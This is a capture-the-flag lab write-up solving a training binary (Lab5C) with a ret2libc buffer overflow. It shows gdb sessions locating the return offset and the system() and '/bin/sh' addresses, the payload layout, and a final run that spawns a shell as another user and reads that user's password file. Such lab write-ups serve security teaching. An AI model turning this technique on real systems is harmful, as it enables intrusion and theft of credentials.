Lab5C Writeup

We have a program that simply prints to the screen and takes input from stdin.

```
#include <stdlib.h>
#include <stdio.h>

/* gcc -fno-stack-protector -o lab5C lab5C.c */
char global_str[128];

/* reads a string, copies it to a global */
void copytoglobal()
{
    char buffer[128] = {0};
    gets(buffer);
    memcpy(global_str, buffer, 128);
}

int main()
{
    char buffer[128] = {0};

    printf("I included libc for you...\n"\
           "Can you ROP to system()?\n");

    copytoglobal();

    return EXIT_SUCCESS;
}
```

As we can see, libc will be imported into this program on compilation because of the printf() function.

We check the security of the binary, and see that there is no stack canary, but DEP (NX) is enabled, so we cant use a shellcode payload.

```
lab5C@warzone:/levels/lab05$ checksec  ./lab5C
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY FORTIFIED FORTIFY-able  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               2        ./lab5C
```

What we can see from the source is that we have a 128byte buffer to overflow, in the copytoglobal() function, so we need to overwrite the ret address from this function to point to the sytem() function in libc.

So first we need to find the address of system.

```
Breakpoint 1, 0x080486c5 in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e63190 <__libc_system>
```

Next we need to find a valid buffer size to gain control of the ret address.

```
lab5C@warzone:/levels/lab05$ python -c 'print  "A"*156 + "B"*4' > /tmp/pwn
lab5C@warzone:/levels/lab05$ gdb ./lab5C
Reading symbols from ./lab5C...(no debugging symbols found)...done.
gdb-peda$ r < /tmp/pwn
Starting program: /levels/lab05/lab5C < /tmp/pwn
I included libc for you...
Can you ROP to system()?

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x20 (' ')
EBX: 0x41414141 ('AAAA')
ECX: 0x0
EDX: 0x804a060 ('A' <repeats 128 times>)
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff660 --> 0x8048700 (<__libc_csu_init>:       push   ebp)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff660 --> 0x8048700 (<__libc_csu_init>:      push   ebp)
0004| 0xbffff664 --> 0x0
0008| 0xbffff668 --> 0x0
0012| 0xbffff66c --> 0x0
0016| 0xbffff670 --> 0x0
0020| 0xbffff674 --> 0x0
0024| 0xbffff678 --> 0x0
0028| 0xbffff67c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
```

So, after 154 bytes the program tries to return to 0x42424242 and segfaults.

At this point, we have:

- The address of system()
- The number of bytes needed

Next, we have to find a way of getting a string for "/bin/sh" for the call to system. This requires knowledge of how the libc_system function works. As we can see here, it puts its argument in EAX, from esp+0x10.

```
EAX: 0x20 (' ')
EBX: 0x41414141 ('AAAA')
ECX: 0x0
EDX: 0x804a060 ('A' <repeats 128 times>)
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff654 ('A' <repeats 12 times>)
EIP: 0xb7e63194 (<__libc_system+4>:     mov    eax,DWORD PTR [esp+0x10])
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7e6318a:  lea    edi,[edi+0x0]
   0xb7e63190 <__libc_system>:  push   ebx
   0xb7e63191 <__libc_system+1>:        sub    esp,0x8
=> 0xb7e63194 <__libc_system+4>:        mov    eax,DWORD PTR [esp+0x10]
   0xb7e63198 <__libc_system+8>:        call   0xb7f4994b <__x86.get_pc_thunk.bx>
   0xb7e6319d <__libc_system+13>:       add    ebx,0x169e63
   0xb7e631a3 <__libc_system+19>:       test   eax,eax
   0xb7e631a5 <__libc_system+21>:       je     0xb7e631b0 <__libc_system+32>
[------------------------------------stack-------------------------------------]
0000| 0xbffff654 ('A' <repeats 12 times>)
0004| 0xbffff658 ("AAAAAAAA")
0008| 0xbffff65c ("AAAA")
0012| 0xbffff660 --> 0x8048700 (<__libc_csu_init>:      push   ebp)
0016| 0xbffff664 --> 0x0
0020| 0xbffff668 --> 0x0
0024| 0xbffff66c --> 0x0
0028| 0xbffff670 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xb7e63194      178     in ../sysdeps/posix/system.c
```

So we have to put the address of our "/bin/sh" string 8 bytes after the address of system. This causes problems outside of gdb, but, interestingly enough, libc contains an address that stores this string. We notice an interesting point here, if we call system with the argument "AAAA", then it calls exit, with the string "exit 0".

```
[----------------------------------registers-----------------------------]
EAX: 0xb7f83a2c ("exit 0")
EBX: 0xb7fcd000 --> 0x1a9da8
ECX: 0x0
EDX: 0x804a060 ('A' <repeats 128 times>)
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff654 ('A' <repeats 12 times>)
EIP: 0xb7e631b6 (<__libc_system+38>:    call   0xb7e62c20 <do_system>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------]
   0xb7e631aa <__libc_system+26>:       pop    ebx
   0xb7e631ab <__libc_system+27>:       jmp    0xb7e62c20 <do_system>
   0xb7e631b0 <__libc_system+32>:       lea    eax,[ebx-0x495d4]
=> 0xb7e631b6 <__libc_system+38>:       call   0xb7e62c20 <do_system>
   0xb7e631bb <__libc_system+43>:       test   eax,eax
   0xb7e631bd <__libc_system+45>:       sete   al
   0xb7e631c0 <__libc_system+48>:       add    esp,0x8
   0xb7e631c3 <__libc_system+51>:       movzx  eax,al
No argument
[------------------------------------stack-------------------------------]
0000| 0xbffff654 ('A' <repeats 12 times>)
0004| 0xbffff658 ("AAAAAAAA")
0008| 0xbffff65c ("AAAA")
0012| 0xbffff660 --> 0x8048700 (<__libc_csu_init>:      push   ebp)
0016| 0xbffff664 --> 0x0
0020| 0xbffff668 --> 0x0
0024| 0xbffff66c --> 0x0
0028| 0xbffff670 --> 0x0
[------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xb7e631b6      182     in ../sysdeps/posix/system.c
```

As we can see, the string "exit 0" is stored at 0xb7f83a2c. If we look at the strings stored around this memory location, we find the address of "/bin/sh".

```
gdb-peda$ x/10s 0xb7f83a2c-10
0xb7f83a22:     "c"
0xb7f83a24:     "/bin/sh"
0xb7f83a2c:     "exit 0"
0xb7f83a33:     "canonicalize.c"
0xb7f83a42 <__PRETTY_FUNCTION__.7708>:  "__realpath"
0xb7f83a4d:     "MSGVERB"
0xb7f83a55:     "SEV_LEVEL"
0xb7f83a5f:     "TO FIX: "
0xb7f83a68:     "  "
0xb7f83a6b:     "%s%s%s%s%s%s%s%s%s%s\n"
```

So our exploit works as such:

- 156 bytes of trash
- Address of libc_system
- Address of libc_exit
  - This is called after system("/bin/sh") returns.
- Address of "/bin/sh"

So, we return to libc and call system

```
   0x80486bc <copytoglobal+79>: pop    esi
   0x80486bd <copytoglobal+80>: pop    edi
   0x80486be <copytoglobal+81>: pop    ebp
=> 0x80486bf <copytoglobal+82>: ret
   0x80486c0 <main>:  push   ebp
   0x80486c1 <main+1>:  mov    ebp,esp
   0x80486c3 <main+3>:  push   edi
   0x80486c4 <main+4>:  push   ebx
[----------------------------------stack-----------------------------------]
0000| 0xbffff65c --> 0xb7e63190 (<__libc_system>:       push   ebx)
0004| 0xbffff660 --> 0xb7e561e0 (<__GI_exit>:   push   ebx)
0008| 0xbffff664 --> 0xb7f83a24 ("/bin/sh")
0012| 0xbffff668 --> 0x0
0016| 0xbffff66c --> 0x0
0020| 0xbffff670 --> 0x0
0024| 0xbffff674 --> 0x0
0028| 0xbffff678 --> 0x0
[------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080486bf in copytoglobal ()
```

We then call system with the correct argument

```
EAX: 0xb7f83a24 ("/bin/sh")
EBX: 0x41414141 ('AAAA')
ECX: 0x0
EDX: 0x804a060 ('A' <repeats 128 times>)
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff654 ('A' <repeats 12 times>, "\340a\345\267$", <incomplete sequence \370\267>)
EIP: 0xb7e63198 (<__libc_system+8>:   call   0xb7f4994b <__x86.get_pc_thunk.bx>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7e63190 <__libc_system>:  push   ebx
   0xb7e63191 <__libc_system+1>:        sub    esp,0x8
   0xb7e63194 <__libc_system+4>:        mov    eax,DWORD PTR [esp+0x10]
=> 0xb7e63198 <__libc_system+8>:        call   0xb7f4994b <__x86.get_pc_thunk.bx>
   0xb7e6319d <__libc_system+13>:       add    ebx,0x169e63
   0xb7e631a3 <__libc_system+19>:       test   eax,eax
   0xb7e631a5 <__libc_system+21>:       je     0xb7e631b0 <__libc_system+32>
   0xb7e631a7 <__libc_system+23>:       add    esp,0x8
```

And strace confirms that we are creating a new process and executing /bin/sh.

```
[pid  1399] wait4(-1, Process 1400 attached
 <unfinished ...>
[pid  1400] execve("/bin/sh", ["/bin/sh"], [/* 22 vars */]) = 0
[pid  1400] brk(0)                      = 0x8001f000
[pid  1400] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No s
[pid  1400] mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|
[pid  1400] access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No s
[pid  1400] open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
[pid  1400] fstat64(3, {st_mode=S_IFREG|0644, st_size=30344, ...
[pid  1400] mmap2(NULL, 30344, PROT_READ, MAP_PRIVATE, 3, 0) = 0
[pid  1400] close(3)                    = 0
[pid  1400] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No s
[pid  1400] open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLO
```

And to finish

```
lab5C@warzone:/levels/lab05$ (cat /tmp/pwn; cat;) | ./lab5C
I included libc for you...
Can you ROP to system()?
uid
/bin/sh: 1: uid: not found
id
uid=1018(lab5C) gid=1019(lab5C) euid=1019(lab5B) groups=1020(lab5B),1001(gameuser),1019(lab5C)
cat /home/lab5B/.pass
s0m3tim3s_r3t2libC_1s_3n0ugh
```